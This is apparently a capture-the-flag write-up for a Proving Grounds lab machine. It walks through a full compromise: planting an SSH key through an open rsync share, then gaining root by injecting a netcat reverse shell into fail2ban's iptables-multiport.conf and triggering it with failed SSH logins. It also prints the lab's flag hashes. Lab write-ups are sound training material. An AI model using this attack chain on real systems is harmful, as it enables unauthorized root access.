Summary #
Using a rsync service running on port 873, we can upload our own generated SSH key to get initial access. Once on the target there is a service running called fail2ban
. We’ll abuse the actioncheck
action in the iptables-multiport.conf
configuration file by adding a reverse shell command. To trigger the action we keep failing to log into the target using SSH. This will run the action as the root
user and will escalate out privileges.
Specifications #
- Name: FAIL
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux fail 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux
- IP address: 192.168.106.126
- OFFSEC provided credentials: None
- HASH:
local.txt
:4c39481d22498c6af9a98d75f28781d5
- HASH:
proof.txt
:70b35e921abb2b5157856d42a35daf90
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir fail && cd fail && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 5 16:29 .
drwxrwxr-x 54 kali kali 4096 Sep 5 16:29 ..
drwxrwxr-x 2 kali kali 4096 Sep 5 16:29 enum
drwxrwxr-x 2 kali kali 4096 Sep 5 16:29 exploits
drwxrwxr-x 2 kali kali 4096 Sep 5 16:29 files
drwxrwxr-x 2 kali kali 4096 Sep 5 16:29 tools
drwxrwxr-x 2 kali kali 4096 Sep 5 16:29 uploads
## set bash variable
ip=192.168.106.126
## ping target to check if it's online
ping $ip
PING 192.168.106.126 (192.168.106.126) 56(84) bytes of data.
64 bytes from 192.168.106.126: icmp_seq=1 ttl=61 time=18.8 ms
64 bytes from 192.168.106.126: icmp_seq=2 ttl=61 time=18.4 ms
^C
--- 192.168.106.126 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.395/18.596/18.797/0.201 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.106.126:22
Open 192.168.106.126:873
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 16:30 CEST
Initiating Ping Scan at 16:30
Scanning 192.168.106.126 [4 ports]
Completed Ping Scan at 16:30, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:30
Completed Parallel DNS resolution of 1 host. at 16:30, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:30
Scanning 192.168.106.126 [2 ports]
Discovered open port 22/tcp on 192.168.106.126
Discovered open port 873/tcp on 192.168.106.126
Completed SYN Stealth Scan at 16:30, 0.07s elapsed (2 total ports)
Nmap scan report for 192.168.106.126
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-05 16:30:17 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
873/tcp open rsync syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
873/tcp open rsync syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,873
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,873 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
| 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
873/tcp open rsync syn-ack ttl 61 (protocol version 31)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
873/tcp open rsync syn-ack ttl 61 (protocol version 31)
On port 873 there is a rsync service running. When we query rsync using NMAP we get to shares: fox
and fox home
. Printing the content of the share shows, what looks like a home directory of a user. Probably as user named fox
. Now, generate an SSH private and public key using ssh-keygen
and change the public key’s name to authorized_keys
. Now upload to the target using rsync and use the private key to log into the target via SSH. Indeed, we have initial access as the fox
user in the /home/fox
directory.
## query availble shares with NMAP
nmap -sV --script "rsync-list-modules" $ip -p T:873
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 16:32 CEST
Nmap scan report for 192.168.106.126
Host is up (0.019s latency).
PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)
| rsync-list-modules:
|_ fox fox home
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
## query content share `fox`
rsync -av --list-only rsync://$ip/fox
receiving incremental file list
drwxr-xr-x 4,096 2021/01/21 15:21:59 .
lrwxrwxrwx 9 2020/12/03 21:22:42 .bash_history -> /dev/null
-rw-r--r-- 220 2019/04/18 06:12:36 .bash_logout
-rw-r--r-- 3,526 2019/04/18 06:12:36 .bashrc
-rw-r--r-- 807 2019/04/18 06:12:36 .profile
sent 20 bytes received 136 bytes 312.00 bytes/sec
total size is 4,562 speedup is 29.24
## change directory
cd files
## create a `.ssh` directory and change in it
mkdir .ssh && cd .ssh
## run ssh-keygen to generate a key pair, quiet mode, blank password and named key pair `remi.key`
ssh-keygen -q -N '' -f user.key
## list content directory
ls -la
total 16
drwxrwxr-x 2 kali kali 4096 Sep 5 16:46 .
drwxrwxr-x 3 kali kali 4096 Sep 5 16:45 ..
-rw------- 1 kali kali 399 Sep 5 16:46 user.key
-rw-r--r-- 1 kali kali 91 Sep 5 16:46 user.key.pub
## change `user.key.pub` to `authorized_keys` and move the private key one directory up
mv user.key.pub authorized_keys && mv user.key ../
## move one directory up
cd ..
## upload `.ssh` directory to the `fox` share
rsync -a --relative .ssh/ rsync://$ip/fox/
## verify the directory and file is uploaded
rsync -av --list-only rsync://$ip/fox
receiving incremental file list
drwxr-xr-x 4,096 2025/09/05 16:49:20 .
lrwxrwxrwx 9 2020/12/03 21:22:42 .bash_history -> /dev/null
-rw-r--r-- 220 2019/04/18 06:12:36 .bash_logout
-rw-r--r-- 3,526 2019/04/18 06:12:36 .bashrc
-rw-r--r-- 807 2019/04/18 06:12:36 .profile
drwxrwxr-x 4,096 2025/09/05 16:48:52 .ssh
-rw-r--r-- 91 2025/09/05 16:46:14 .ssh/authorized_keys
## login using the private key `user.key`
ssh -i user.key fox@$ip
The authenticity of host '192.168.106.126 (192.168.106.126)' can't be established.
ED25519 key fingerprint is SHA256:mqPCrimr9j626KOGoHM+qxgHUOYD4pu1+4KzhIvu5uA.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:45: [hashed name]
~/.ssh/known_hosts:68: [hashed name]
~/.ssh/known_hosts:72: [hashed name]
~/.ssh/known_hosts:75: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.106.126' (ED25519) to the list of known hosts.
Linux fail 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$
## print the current user
$ whoami
fox
## find `local.txt` on the filesystem
$ find / -iname 'local.txt' 2>/dev/null
/home/local.txt
## print `local.txt`
$ cat /home/local.txt
4c39481d22498c6af9a98d75f28781d5
## get a bash shell
$ bash
fox@fail:~$
Privilege Escalation #
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.243/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::bee:4d0f:2930:ad7f/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start local webserver
python3 -m http.server 80
## on target
## download `linpeas.sh`
fox@fail:~$ wget http://192.168.45.243/linpeas.sh
--2025-09-05 11:09:40-- http://192.168.45.243/linpeas.sh
Connecting to 192.168.45.243:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[======================================>] 939.29K 2.20MB/s in 0.4s
2025-09-05 11:09:41 (2.20 MB/s) - ‘linpeas.sh’ saved [961834/961834]
## set the execution bit
fox@fail:~$ chmod +x linpeas.sh
## run `linpeas.sh`
fox@fail:~$ ./linpeas.sh
The linpeas.sh
output shows the current user is member of the group fail2ban
and fail2ban
is also running on the target. Looking at the /etc/fail2ban
we can see we have permissions on the /etc/fail2ban/action.d
directory.
## run `id` to see `fox` user is member of `fail2ban` group
fox@fail:~$ id
uid=1000(fox) gid=1001(fox) groups=1001(fox),1000(fail2ban)
## check running processes
fox@fail:~$ ps -ef
<SNIP>
root 23239 1 0 12:27 ? 00:00:00 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
## check the status of the `fail2ban` service
fox@fail:/etc/fail2ban/action.d$ /etc/init.d/fail2ban status
● fail2ban.service - Fail2Ban Service
Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)
Active: active (running) since Fri 2025-09-05 12:39:02 EDT; 11s ago
Docs: man:fail2ban(1)
Process: 23383 ExecStartPre=/bin/mkdir -p /var/run/fail2ban (code=exited, status=0/SUCCESS)
Main PID: 23384 (fail2ban-server)
Tasks: 3 (limit: 2358)
Memory: 10.5M
CGroup: /system.slice/fail2ban.service
└─23384 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
## list content `/etc/fail2ban`
fox@fail:/etc/fail2ban$ ls -la
total 72
drwxr-xr-x 6 root root 4096 Dec 3 2020 .
drwxr-xr-x 76 root root 4096 Jan 21 2021 ..
drwxrwxr-x 2 root fail2ban 4096 Dec 3 2020 action.d
-rw-r--r-- 1 root root 2334 Jan 18 2018 fail2ban.conf
drwxr-xr-x 2 root root 4096 Sep 23 2018 fail2ban.d
drwxr-xr-x 3 root root 4096 Dec 3 2020 filter.d
-rw-r--r-- 1 root root 22910 Nov 19 2020 jail.conf
drwxr-xr-x 2 root root 4096 Dec 3 2020 jail.d
-rw-r--r-- 1 root root 645 Jan 18 2018 paths-arch.conf
-rw-r--r-- 1 root root 2827 Jan 18 2018 paths-common.conf
-rw-r--r-- 1 root root 573 Jan 18 2018 paths-debian.conf
-rw-r--r-- 1 root root 738 Jan 18 2018 paths-opensuse.conf
-rw-r--r-- 1 root root 87 Dec 3 2020 README.fox
## list content `action.d` directory
fox@fail:/etc/fail2ban/action.d$ ls -la
total 288
drwxrwxr-x 2 root fail2ban 4096 Dec 3 2020 .
drwxr-xr-x 6 root root 4096 Dec 3 2020 ..
-rw-rw-r-- 1 root fail2ban 3879 Jan 18 2018 abuseipdb.conf
-rw-rw-r-- 1 root fail2ban 587 Jan 18 2018 apf.conf
-rw-rw-r-- 1 root fail2ban 629 Jan 18 2018 badips.conf
-rw-rw-r-- 1 root fail2ban 10918 Jan 18 2018 badips.py
-rw-rw-r-- 1 root fail2ban 2631 Jan 18 2018 blocklist_de.conf
-rw-rw-r-- 1 root fail2ban 3094 Jan 18 2018 bsd-ipfw.conf
-rw-rw-r-- 1 root fail2ban 2719 Jan 18 2018 cloudflare.conf
-rw-rw-r-- 1 root fail2ban 4669 Jan 18 2018 complain.conf
-rw-rw-r-- 1 root fail2ban 7580 Jan 18 2018 dshield.conf
-rw-rw-r-- 1 root fail2ban 1629 Jan 18 2018 dummy.conf
-rw-rw-r-- 1 root fail2ban 1501 Jan 18 2018 firewallcmd-allports.conf
-rw-rw-r-- 1 root fail2ban 2649 Jan 18 2018 firewallcmd-common.conf
-rw-rw-r-- 1 root fail2ban 2235 Jan 18 2018 firewallcmd-ipset.conf
-rw-rw-r-- 1 root fail2ban 1270 Jan 18 2018 firewallcmd-multiport.conf
-rw-rw-r-- 1 root fail2ban 1898 Jan 18 2018 firewallcmd-new.conf
-rw-rw-r-- 1 root fail2ban 2314 Jan 18 2018 firewallcmd-rich-logging.conf
-rw-rw-r-- 1 root fail2ban 1765 Jan 18 2018 firewallcmd-rich-rules.conf
-rw-rw-r-- 1 root fail2ban 589 Jan 18 2018 helpers-common.conf
-rw-rw-r-- 1 root fail2ban 1402 Jan 18 2018 hostsdeny.conf
-rw-rw-r-- 1 root fail2ban 1485 Jan 18 2018 ipfilter.conf
-rw-rw-r-- 1 root fail2ban 1417 Jan 18 2018 ipfw.conf
-rw-rw-r-- 1 root fail2ban 1426 Jan 18 2018 iptables-allports.conf
-rw-rw-r-- 1 root fail2ban 2738 Jan 18 2018 iptables-common.conf
-rw-rw-r-- 1 root fail2ban 1339 Jan 18 2018 iptables.conf
-rw-rw-r-- 1 root fail2ban 2000 Jan 18 2018 iptables-ipset-proto4.conf
-rw-rw-r-- 1 root fail2ban 2197 Jan 18 2018 iptables-ipset-proto6-allports.conf
-rw-rw-r-- 1 root fail2ban 2240 Jan 18 2018 iptables-ipset-proto6.conf
-rw-rw-r-- 1 root fail2ban 1420 Jan 18 2018 iptables-multiport.conf
-rw-rw-r-- 1 root fail2ban 2082 Jan 18 2018 iptables-multiport-log.conf
-rw-rw-r-- 1 root fail2ban 1497 Jan 18 2018 iptables-new.conf
-rw-rw-r-- 1 root fail2ban 2584 Jan 18 2018 iptables-xt_recent-echo.conf
-rw-rw-r-- 1 root fail2ban 2343 Jan 18 2018 mail-buffered.conf
-rw-rw-r-- 1 root fail2ban 1621 Jan 18 2018 mail.conf
-rw-rw-r-- 1 root fail2ban 1049 Jan 18 2018 mail-whois-common.conf
-rw-rw-r-- 1 root fail2ban 1754 Jan 18 2018 mail-whois.conf
-rw-rw-r-- 1 root fail2ban 2355 Jan 18 2018 mail-whois-lines.conf
-rw-rw-r-- 1 root fail2ban 5233 Jan 18 2018 mynetwatchman.conf
-rw-rw-r-- 1 root fail2ban 1493 Jan 18 2018 netscaler.conf
-rw-rw-r-- 1 root fail2ban 490 Jan 18 2018 nftables-allports.conf
-rw-rw-r-- 1 root fail2ban 4038 Jan 18 2018 nftables-common.conf
-rw-rw-r-- 1 root fail2ban 496 Jan 18 2018 nftables-multiport.conf
-rw-rw-r-- 1 root fail2ban 3697 Jan 18 2018 nginx-block-map.conf
-rw-rw-r-- 1 root fail2ban 1436 Jan 18 2018 npf.conf
-rw-rw-r-- 1 root fail2ban 3146 Jan 18 2018 nsupdate.conf
-rw-rw-r-- 1 root fail2ban 469 Jan 18 2018 osx-afctl.conf
-rw-rw-r-- 1 root fail2ban 2214 Jan 18 2018 osx-ipfw.conf
-rw-rw-r-- 1 root fail2ban 3662 Jan 18 2018 pf.conf
-rw-rw-r-- 1 root fail2ban 1023 Jan 18 2018 route.conf
-rw-rw-r-- 1 root fail2ban 2830 Jan 18 2018 sendmail-buffered.conf
-rw-rw-r-- 1 root fail2ban 1824 Jan 18 2018 sendmail-common.conf
-rw-rw-r-- 1 root fail2ban 857 Jan 18 2018 sendmail.conf
-rw-rw-r-- 1 root fail2ban 1773 Jan 18 2018 sendmail-geoip-lines.conf
-rw-rw-r-- 1 root fail2ban 977 Jan 18 2018 sendmail-whois.conf
-rw-rw-r-- 1 root fail2ban 1052 Jan 18 2018 sendmail-whois-ipjailmatches.conf
-rw-rw-r-- 1 root fail2ban 1033 Jan 18 2018 sendmail-whois-ipmatches.conf
-rw-rw-r-- 1 root fail2ban 1300 Jan 18 2018 sendmail-whois-lines.conf
-rw-rw-r-- 1 root fail2ban 997 Jan 18 2018 sendmail-whois-matches.conf
-rw-rw-r-- 1 root fail2ban 2068 Jan 18 2018 shorewall.conf
-rw-rw-r-- 1 root fail2ban 2981 Jan 18 2018 shorewall-ipset-proto6.conf
-rw-rw-r-- 1 root fail2ban 6134 Jan 18 2018 smtp.py
-rw-rw-r-- 1 root fail2ban 1330 Jan 18 2018 symbiosis-blacklist-allports.conf
-rw-rw-r-- 1 root fail2ban 1045 Jan 18 2018 ufw.conf
-rw-rw-r-- 1 root fail2ban 6082 Jan 18 2018 xarf-login-attack.conf
Searching the internet how to get RCE via fail2ban we can find: https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban/. This post uses the iptables-multiport.conf
file to add a reverse shell command to the actioncheck
action. Once we change this file, we now setup a listener and trigger the action with failing to login via SSH. This trigger will escalate our privileges to the root
user.
## change the `iptables-multiport.conf` with a reverse shell command using ex. nano
fox@fail:/etc/fail2ban/action.d$ nano iptables-multiport.conf
<SNIP>
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'
nc 192.168.45.243 9001 -c bash
<SNIP>
## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.243/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::bee:4d0f:2930:ad7f/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## connect to the target via SSH as a user and as many times need to get a `Connection refused`
ssh root@$ip
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.243] from (UNKNOWN) [192.168.106.126] 51994
whoami
root
cat /root/proof.txt
70b35e921abb2b5157856d42a35daf90
References #
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban/